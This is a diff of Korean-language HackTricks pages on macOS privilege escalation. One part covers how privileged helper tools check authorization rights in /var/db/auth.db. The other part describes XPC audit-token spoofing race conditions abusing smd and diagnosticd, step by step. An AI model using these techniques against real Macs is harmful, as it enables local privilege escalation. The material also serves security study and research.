이는 프로세스의 끝에서 `commandInfo` 내에서 선언된 권한이 `/var/db/auth.db`에 저장된다는 것을 의미합니다. **인증이 필요한 각 메소드**에 대해 **권한 이름**과 **`kCommandKeyAuthRightDefault`**를 찾을 수 있다는 점에 유의하십시오. 후자는 **이 권한을 얻을 수 있는 사용자**를 나타냅니다.
|
||||
이는 프로세스의 끝에서 `commandInfo` 내에서 선언된 권한이 `/var/db/auth.db`에 저장될 것을 의미합니다. **인증이 필요한 각 메서드**에 대해 **권한 이름**과 **`kCommandKeyAuthRightDefault`**를 찾을 수 있다는 점에 유의하십시오. 후자는 **이 권한을 얻을 수 있는 사용자**를 나타냅니다.
|
||||
|
||||
권한에 액세스할 수 있는 사용자를 나타내는 다양한 범위가 있습니다. 일부는 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)에 정의되어 있습니다([여기에서 모두 찾을 수 있습니다](https://www.dssw.co.uk/reference/authorization-rights/)), 하지만 요약하면:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">이름</th><th width="165">값</th><th>설명</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>누구나</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>아무도</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>현재 사용자가 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>사용자에게 인증 요청</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>사용자에게 인증 요청. 사용자는 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>규칙 지정</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>권한에 대한 추가 설명 지정</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">이름</th><th width="165">값</th><th>설명</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>누구나</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>아무도</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>현재 사용자가 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>사용자에게 인증 요청</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>사용자에게 인증 요청. 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>규칙 지정</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>권한에 대한 추가 설명 지정</td></tr></tbody></table>
|
||||
|
||||
### 권한 확인
|
||||
|
||||
`HelperTool/HelperTool.m`에서 **`readLicenseKeyAuthorization`** 함수는 호출자가 **해당 메소드를 실행할 권한이 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출합니다. 이 함수는 호출 프로세스가 보낸 **authData**가 **올바른 형식**인지 확인한 다음 **특정 메소드를 호출할 권한**을 얻기 위해 필요한 것을 확인합니다. 모든 것이 순조롭게 진행되면 **반환된 `error`는 `nil`이 될 것입니다**:
|
||||
`HelperTool/HelperTool.m`에서 **`readLicenseKeyAuthorization`** 함수는 호출자가 **해당 메서드를 실행할 권한이 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출합니다. 이 함수는 호출 프로세스가 보낸 **authData**가 **올바른 형식**인지 확인한 다음 **특정 메서드를 호출할 수 있는 권한**을 확인합니다. 모든 것이 순조롭게 진행되면 **반환된 `error`는 `nil`이 될 것**입니다.
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
**주어진 메소드를 호출할 수 있는 권한을 확인하려면** `authorizationRightForCommand` 함수는 이전에 주석 처리된 `commandInfo` 객체를 확인합니다. 그런 다음 함수를 호출하여 함수를 호출할 권한이 있는지 확인합니다. (`AuthorizationCopyRights` 함수를 호출하여 사용자와 상호 작용할 수 있는 권한이 있는지 확인합니다).
|
||||
**해당 메서드를 호출할 수 있는 권한을 확인하려면** `authorizationRightForCommand` 함수는 이전에 주석 처리된 `commandInfo` 객체를 확인합니다. 그런 다음 함수를 호출하여 함수를 호출할 권한이 있는지 확인합니다. (`AuthorizationCopyRights` 함수를 호출하여 권한이 있는지 확인합니다. (플래그가 사용자와의 상호 작용을 허용합니다).
|
||||
|
||||
이 경우 `readLicenseKeyAuthorization` 함수를 호출하려면 `kCommandKeyAuthRightDefault`가 `@kAuthorizationRuleClassAllow`로 정의되어 있습니다. 따라서 **누구나 호출할 수 있습니다**.
|
||||
이 경우 `readLicenseKeyAuthorization` 함수를 호출하려면 `kCommandKeyAuthRightDefault`가 `@kAuthorizationRuleClassAllow`로 정의되어 있습니다. 따라서 **누구나 호출**할 수 있습니다.
|
||||
|
||||
### DB 정보
|
||||
|
||||
|
@ -258,19 +258,19 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### 허용 권한
|
||||
|
||||
**여기**에서 모든 권한 구성을 찾을 수 있지만 사용자 상호 작용이 필요하지 않은 조합은 다음과 같습니다:
|
||||
**모든 권한 구성을** [**여기에서**](https://www.dssw.co.uk/reference/authorization-rights/) 찾을 수 있지만 사용자 상호 작용이 필요하지 않은 조합은 다음과 같습니다:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* 이것은 가장 직접적인 키입니다. `false`로 설정되면 사용자가이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다.
|
||||
* 이는 사용자가 속해야하는 그룹을 나타내거나 아래 2개 중 하나와 조합하여 사용됩니다.
|
||||
* 이것은 가장 직접적인 키입니다. `false`로 설정되면 사용자가 이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다.
|
||||
* 이는 **아래 2개 중 하나와 조합하거나 사용자가 속해야 하는 그룹을 나타내는 것**과 함께 사용됩니다.
|
||||
2. **'allow-root': 'true'**
|
||||
* 사용자가 루트 사용자로 작동하고이 키가 `true`로 설정된 경우 루트 사용자는 추가 인증없이이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하는 것은 이미 인증이 필요하므로 대부분의 사용자에게는 "인증 없음"시나리오가 아닙니다.
|
||||
* 사용자가 루트 사용자로 작동하는 경우(승격된 권한을 가지고 있는), 이 키가 `true`로 설정되어 있다면 루트 사용자는 추가 인증 없이 이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하는 것은 이미 인증이 필요하기 때문에 대부분의 사용자에게는 "인증 없음" 시나리오가 아닙니다.
|
||||
3. **'session-owner': 'true'**
|
||||
* `true`로 설정되면 세션 소유자 (현재 로그인한 사용자)가이 권한을 자동으로 받게됩니다. 사용자가 이미 로그인되어 있는 경우 추가 인증을 우회 할 수 있습니다.
|
||||
* `true`로 설정되면 세션 소유자(현재 로그인한 사용자)가 이 권한을 자동으로 받게 됩니다. 사용자가 이미 로그인되어 있는 경우 추가 인증을 우회할 수 있습니다.
|
||||
4. **'shared': 'true'**
|
||||
* 이 키는 인증없이 권한을 부여하지 않습니다. 대신 `true`로 설정되면 권한이 인증 된 후 여러 프로세스 사이에서 공유 될 수 있음을 의미합니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며 `'authenticate-user': 'false'`와 같은 다른 키와 결합되지 않는 한 각각이 다시 인증을 필요로하지 않습니다.
|
||||
* 이 키는 인증 없이 권한을 부여하지 않습니다. 대신 `true`로 설정되면 권한이 인증된 후 여러 프로세스 사이에서 공유될 수 있음을 의미합니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며, `'authenticate-user': 'false'`와 같은 다른 키와 조합되지 않는 한 각각의 프로세스가 다시 인증을 받아야 합니다.
|
||||
|
||||
흥미로운 권한을 얻으려면 [**이 스크립트를 사용**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)할 수 있습니다:
|
||||
흥미로운 권한을 얻기 위해 [**이 스크립트를 사용**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)할 수 있습니다:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -287,11 +287,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
만약 **`[HelperTool checkAuthorization:command:]`** 함수를 찾는다면, 해당 프로세스가 권한에 대해 이전에 언급한 스키마를 사용하고 있을 가능성이 높습니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 함수가 `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`와 같은 함수를 호출한다면, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)를 사용하고 있습니다.
|
||||
|
||||
사용자 상호작용 없이 특정 권한을 호출할 수 있는지 확인하려면 **`/var/db/auth.db`**를 확인하십시오.
|
||||
사용자 상호작용 없이 특정 권한을 호출할 수 있는 권한을 얻을 수 있는지 확인하기 위해 **`/var/db/auth.db`**를 확인하세요.
|
||||
|
||||
### 프로토콜 통신
|
||||
|
||||
|
@ -299,9 +299,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
**`shouldAcceptNewConnection`** 함수는 내보내는 프로토콜을 나타냅니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 경우, EvenBetterAuthorizationSample과 동일한 것을 가지고 있습니다, [**이 라인을 확인하십시오**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
이 경우, EvenBetterAuthorizationSample과 동일하게 [**이 라인**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)을 확인하세요.
|
||||
|
||||
사용된 프로토콜의 이름을 알면, **해당 헤더 정의를 덤프**할 수 있습니다:
|
||||
```bash
|
||||
|
@ -317,7 +317,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
마지막으로, 통신을 수립하기 위해 노출된 Mach 서비스의 **이름**을 알아야 합니다. 이를 찾는 여러 가지 방법이 있습니다:
|
||||
마지막으로, 통신을 수립하기 위해 노출된 Mach 서비스의 **이름**을 알아야 합니다. 이를 찾는 여러 방법이 있습니다:
|
||||
|
||||
* **`[HelperTool init]`**에서 사용된 Mach 서비스를 볼 수 있는 곳:
|
||||
|
||||
|
@ -431,10 +431,10 @@ NSLog(@"Finished!");
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ Mach Messages가 무엇인지 모르는 경우 다음 페이지를 확인하세
|
|||
|
||||
일단 ([여기에서 정의](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
Mach 메시지는 **맥 포트**를 통해 전송되며, 이는 맥 커널에 내장된 **단일 수신자, 다중 발신자 통신** 채널입니다. **여러 프로세스가 맥 포트로 메시지를 보낼 수 있지만** 언제든지 **단일 프로세스만 읽을 수 있습니다**. 파일 디스크립터와 소켓과 마찬가지로 맥 포트는 커널에 의해 할당되고 관리되며 프로세스는 정수만 보고 이를 사용하여 사용할 맥 포트를 커널에 지시할 수 있습니다.
|
||||
Mach 메시지는 **맥 커널에 내장된 단일 수신자, 다중 발신자 통신** 채널인 **맥 포트**를 통해 전송됩니다. **여러 프로세스가 맥 포트로 메시지를 보낼 수 있지만** 어느 시점에서 **단일 프로세스만 읽을 수 있습니다**. 파일 디스크립터와 소켓과 마찬가지로 맥 포트는 커널에 의해 할당되고 관리되며 프로세스는 정수만 보고 이를 사용하여 사용할 맥 포트를 커널에 지정할 수 있습니다.
|
||||
|
||||
## XPC 연결
|
||||
|
||||
|
@ -38,99 +38,99 @@ XPC 연결이 어떻게 설정되는지 모르는 경우 확인하세요:
|
|||
|
||||
## 취약점 요약
|
||||
|
||||
알아두어야 할 중요한 점은 **XPC의 추상화는 일대일 연결**이지만 **다중 발신자가 있는 기술 위에 구축**되어 있다는 것입니다:
|
||||
알아두어야 할 중요한 점은 **XPC의 추상화는 일대일 연결**이지만 **여러 발신자가 있는 기술** 위에 구축되어 있다는 것입니다:
|
||||
|
||||
* 맥 포트는 단일 수신자, **다중 발신자**입니다.
|
||||
* XPC 연결의 감사 토큰은 **가장 최근에 수신된 메시지에서 복사**됩니다.
|
||||
* XPC 연결의 **감사 토큰을 획득**하는 것은 많은 **보안 검사에 중요**합니다.
|
||||
|
||||
이전 상황이 유망하게 들리지만 이로 인해 문제가 발생하지 않는 몇 가지 시나리오가 있습니다 ([여기에서](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
이전 상황이 유망해 보이지만 일부 시나리오에서는 문제를 일으키지 않을 수 있습니다 ([여기에서](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* 감사 토큰은 연결을 수락할지 결정하기 위한 권한 확인에 자주 사용됩니다. 이는 서비스 포트로 메시지를 사용하여 발생하며 **아직 연결이 설정되지 않았습니다**. 이 포트에서의 추가 메시지는 추가 연결 요청으로 처리됩니다. 따라서 **연결을 수락하기 전의 모든 확인 사항은 취약하지 않습니다** (이는 `-listener:shouldAcceptNewConnection:` 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 **특정 작업을 확인하는 XPC 연결을 찾고 있습니다**.
|
||||
* 감사 토큰은 연결을 수락할지 결정하기 위한 권한 확인에 자주 사용됩니다. 이는 서비스 포트로 메시지를 사용하여 발생하며 **아직 연결이 설정되지 않은** 상태입니다. 이 포트에서의 추가 메시지는 추가 연결 요청으로 처리됩니다. 따라서 **연결을 수락하기 전의 모든 확인 사항은 취약하지 않습니다** (이는 `-listener:shouldAcceptNewConnection:` 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 **특정 작업을 확인하는 XPC 연결을 찾고 있습니다**.
|
||||
* XPC 이벤트 핸들러는 동기적으로 처리됩니다. 이는 한 메시지의 이벤트 핸들러가 다음 메시지를 호출하기 전에 완료되어야 함을 의미하며, 동시 디스패치 큐에서도 마찬가지입니다. 따라서 **XPC 이벤트 핸들러 내에서 감사 토큰은 다른 일반 (응답이 아닌!) 메시지에 의해 덮어쓰일 수 없습니다**.
|
||||
|
||||
이를 악용할 수 있는 두 가지 다른 방법:
|
||||
이를 악용할 수 있는 두 가지 방법:
|
||||
|
||||
1. 변형1:
|
||||
* **악용**이 서비스 **A**와 서비스 **B**에 **연결**합니다.
|
||||
* **악용**은 서비스 **A**와 서비스 **B**에 **연결**합니다.
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 서비스 **A**는 **이벤트 핸들러 내부가 아닌** **`dispatch_async`**에서 **`xpc_connection_get_audit_token`**을 호출합니다.
|
||||
* 따라서 **다른** 메시지가 **감사 토큰을 덮어쓸 수 있습니다**. 왜냐하면 이것은 이벤트 핸들러 외부에서 비동기적으로 디스패치되기 때문입니다.
|
||||
* 악용은 **서비스 A에게 서비스 A로의 SEND 권한을 전달**합니다.
|
||||
* 따라서 svc **B**는 실제로 서비스 **A**로 **메시지를 보냅니다**.
|
||||
* **악용**은 **특권 작업을 호출**하려고 시도합니다. RC svc **A**는 **이 작업의 권한을 확인**하며 **svc B가 감사 토큰을 덮어썼기 때문에** (악용이 특권 작업을 호출할 수 있도록 함) 악용이 특권 작업을 호출할 수 있습니다.
|
||||
* 악용은 **서비스 A에게 서비스 A의 SEND 권한을 전달**합니다.
|
||||
* 따라서 svc **B**는 실제로 서비스 **A**에게 **메시지를 보냅니다**.
|
||||
* **악용**은 **특권 작업을 호출**하려고 시도합니다. RC svc **A**는 이 **작업의 권한을 확인**하고 **svc B가 감사 토큰을 덮어썼기 때문에** (악용이 특권 작업을 호출할 수 있도록 함) 악용에게 액세스 권한을 부여합니다.
|
||||
2. 변형 2:
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 악용은 **서비스 A**에 연결하고 **특정 replay 포트에서 응답을 기대하는 메시지를 보내는** 서비스 A와 **두 번째 연결**을 형성합니다.
|
||||
* 악용은 **서비스 B**에게 **그 replay 포트**를 전달하는 메시지를 보냅니다.
|
||||
* 서비스 **B가 응답**할 때, **악용**은 **서비스 A에 다른 메시지를 보내어 특권 기능에 도달**하려고 시도하며, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것을 기대합니다 (경쟁 조건).
|
||||
* 악용은 **서비스 B**에게 **그 replay 포트를 전달하는** 메시지를 보냅니다.
|
||||
* 서비스 **B가 응답**할 때, **악용**은 **서비스 A에 다른 메시지를 보내어 특권 기능에 도달**하려고 시도하고, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것을 기대합니다 (경쟁 조건).
|
||||
|
||||
## 변형 1: 이벤트 핸들러 외부에서 xpc\_connection\_get\_audit\_token 호출 <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
시나리오:
|
||||
|
||||
* 우리가 모두 연결할 수 있는 두 개의 맥 서비스 **`A`**와 **`B`** (샌드박스 프로필 및 연결 수락 전 권한 확인 기반).
|
||||
* _**A**_는 **`B`**가 전달할 수 있는 특정 작업에 대한 **권한 확인**이 있어야 합니다 (하지만 우리 앱은 할 수 없음).
|
||||
* 예를 들어, B에게 **특권**이 있거나 **루트**로 실행 중인 경우 A에게 특권 작업을 수행하도록 요청할 수 있습니다.
|
||||
* 이 권한 확인을 위해 **`A`**는 비동기적으로 감사 토큰을 획득하며, 예를 들어 **`dispatch_async`**에서 `xpc_connection_get_audit_token`을 호출합니다.
|
||||
* 두 맥 서비스 **`A`**와 **`B`**에 연결할 수 있는데 (샌드박스 프로필 및 연결 수락 전 권한 확인에 기반함).
|
||||
* **`A`**는 **`B`**가 전달할 수 있는 특정 작업에 대한 **권한 확인**이 있어야 합니다 (하지만 우리 앱은 할 수 없음).
|
||||
* 예를 들어, B에는 **특권**이 있거나 **루트로 실행** 중인 경우 A에 특권 작업을 수행하도록 요청할 수 있습니다.
|
||||
* 이 권한 확인을 위해 **`A`**는 **`dispatch_async`**에서 `xpc_connection_get_audit_token`을 호출하는 등 **비동기적으로** 감사 토큰을 획득합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 경우 공격자는 **악용**을 만들어 **A에게 작업을 수행하도록 요청**하는 **경쟁 조건**을 유발할 수 있습니다. RC가 **성공하면**, **B**의 **감사 토큰**이 **메모리에 복사**되는 동안 **악용**의 **요청**이 **A에 의해 처리**됨으로써 **B만 요청할 수 있는 특권 작업에 액세스**할 수 있습니다.
|
||||
이 경우 공격자는 **악용**을 트리거하여 **A에게 작업을 수행하도록 요청**하는 **악용**을 만들 수 있습니다. 이 과정에서 **B가 A에게 메시지를 보내도록** 만듭니다. RC가 **성공하면** **B의 감사 토큰이 메모리에 복사**되고 **악용**의 요청이 **A에 의해 처리**되는 동안 특권 작업에 **액세스**할 수 있게 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
이는 **`A`**가 `smd`로, **`B`**가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로). **루트**로 실행 중인 프로세스가 **smd**에 연락하면 다른 확인이 수행되지 않습니다.
|
||||
이는 **`A`**가 `smd`로, **`B`**가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로 실행 중인 경우). **루트로 실행 중인 프로세스**가 **smd**에 연락하면 다른 확인 사항이 수행되지 않습니다.
|
||||
|
||||
따라서 서비스 **B**는 **루트**로 실행되므로 프로세스를 **모니터링**할 수 있으며, 모니터링이 시작되면 **초당 여러 메시지를 보냅니다.**
|
||||
따라서 서비스 **B**는 **루트로 실행**되므로 **프로세스를 모니터링**할 수 있으며, 모니터링이 시작되면 **초당 여러 메시지를 보냅니다.**
|
||||
|
||||
공격을 수행하려면:
|
||||
|
||||
1. 표준 XPC 프로토콜을 사용하여 `smd`라는 서비스에 **연결**을 시작합니다.
|
||||
2. `diagnosticd`에 대한 보조 **연결**을 형성합니다. 일반적인 절차와 달리 두 개의 새로운 맥 포트를 생성하고 보내는 대신, 클라이언트 포트 송신 권한은 `smd` 연결과 관련된 **송신 권한**의 복제본으로 대체됩니다.
|
||||
3. 결과적으로 XPC 메시지는 `diagnosticd`로 보내지지만 `diagnosticd`의 응답은 `smd`로 재경로됩니다. `smd`에게는 사용자 및 `diagnosticd`로부터의 메시지가 동일한 연결에서 발신된 것으로 보입니다.
|
||||
2. `diagnosticd`에 대한 보조 **연결**을 형성합니다. 일반적인 절차와 달리 두 개의 새로운 맥 포트를 생성하고 보내는 대신, 클라이언트 포트 **보내기 권한**은 `smd` 연결과 관련된 **보내기 권한의 복제본**으로 대체됩니다.
|
||||
3. 결과적으로 XPC 메시지는 `diagnosticd`로 보내지지만 `diagnosticd`의 응답은 `smd`로 리디렉션됩니다. `smd`에게는 사용자 및 `diagnosticd`의 메시지가 동일한 연결에서 발신된 것으로 보입니다.
|
||||
|
||||
![공격 프로세스를 나타내는 이미지](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. 다음 단계는 `diagnosticd`에게 선택한 프로세스 (사용자의 것일 수도 있음)의 모니터링을 시작하도록 지시하는 것입니다. 동시에 `smd`로 루틴 1004 메시지의 홍수를 보냅니다. 이곳의 의도는 권한이 상승된 도구를 설치하는 것입니다.
|
||||
5. 이 작업은 `handle_bless` 함수 내에서 레이스 컨디션을 트리거합니다. 타이밍이 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자 프로세스의 PID를 반환해야 합니다 (권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
4. 다음 단계는 `diagnosticd`에게 선택한 프로세스(사용자 자신의 프로세스일 수도 있음)의 모니터링을 시작하도록 지시하는 것입니다. 동시에 `smd`로 루틴 1004 메시지의 홍수를 보냅니다. 이 과정의 목적은 권한이 상승된 도구를 설치하는 것입니다.
|
||||
5. 이 작업은 `handle_bless` 함수 내에서 레이스 컨디션을 트리거합니다. 타이밍이 매우 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자 프로세스의 PID를 반환해야 합니다(권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
|
||||
## 변형 2: 응답 전달
|
||||
|
||||
XPC (Cross-Process Communication) 환경에서 이벤트 핸들러는 동시에 실행되지 않지만 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 보내는 두 가지 다른 방법이 있습니다:
|
||||
XPC(크로스 프로세스 통신) 환경에서 이벤트 핸들러는 동시에 실행되지 않지만 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 보내는 두 가지 다른 방법이 있습니다:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: 여기서 XPC 메시지는 지정된 큐에서 수신되고 처리됩니다.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: 반면에 이 방법에서는 XPC 메시지가 현재 디스패치 큐에서 수신되고 처리됩니다.
|
||||
|
||||
이 차이는 **응답 패킷이 XPC 이벤트 핸들러의 실행과 동시에 구문 분석될 수 있는 가능성**을 제공하기 때문에 중요합니다. 특히 `_xpc_connection_set_creds`는 감사 토큰의 부분적 덮어쓰기를 방지하기 위해 잠금을 구현하지만 전체 연결 객체에는 이 보호가 확장되지 않습니다. 결과적으로 이는 패킷의 구문 분석과 해당 이벤트 핸들러의 실행 사이의 간격 동안 감사 토큰이 교체될 수 있는 취약점을 만듭니다.
|
||||
이 차이는 **응답 패킷이 XPC 이벤트 핸들러의 실행과 동시에 구문 분석될 수 있는 가능성**을 제공하기 때문에 중요합니다. 특히 `_xpc_connection_set_creds`는 감사 토큰의 부분적 덮어쓰기를 방지하기 위해 잠금을 구현하지만 전체 연결 객체에 이 보호를 확장하지는 않습니다. 결과적으로 이는 패킷의 구문 분석과 해당 이벤트 핸들러의 실행 사이의 간격 동안 감사 토큰이 교체될 수 있는 취약점을 만듭니다.
|
||||
|
||||
이 취약점을 악용하려면 다음 설정이 필요합니다:
|
||||
이 취약점을 악용하기 위해 다음 설정이 필요합니다:
|
||||
|
||||
* 두 개의 mach 서비스, **`A`**와 **`B`**, 둘 다 연결을 설정할 수 있어야 합니다.
|
||||
* 서비스 **`A`**는 **`B`**만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다 (사용자의 응용 프로그램은 수행할 수 없음).
|
||||
* 두 개의 맥 서비스, **`A`**와 **`B`**, 둘 다 연결을 설정할 수 있어야 합니다.
|
||||
* 서비스 **`A`**는 **`B`**만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다(사용자의 애플리케이션은 수행할 수 없음).
|
||||
* 서비스 **`A`**는 응답을 기대하는 메시지를 보내야 합니다.
|
||||
* 사용자는 **`B`**에게 응답할 메시지를 보낼 수 있어야 합니다.
|
||||
|
||||
악용 프로세스는 다음 단계를 포함합니다:
|
||||
|
||||
1. 서비스 **`A`**가 응답을 기대하는 메시지를 보내기를 기다립니다.
|
||||
2. **`A`**에 직접 응답하는 대신, 응답 포트가 탈취되어 **`B`**에게 메시지를 보내는 데 사용됩니다.
|
||||
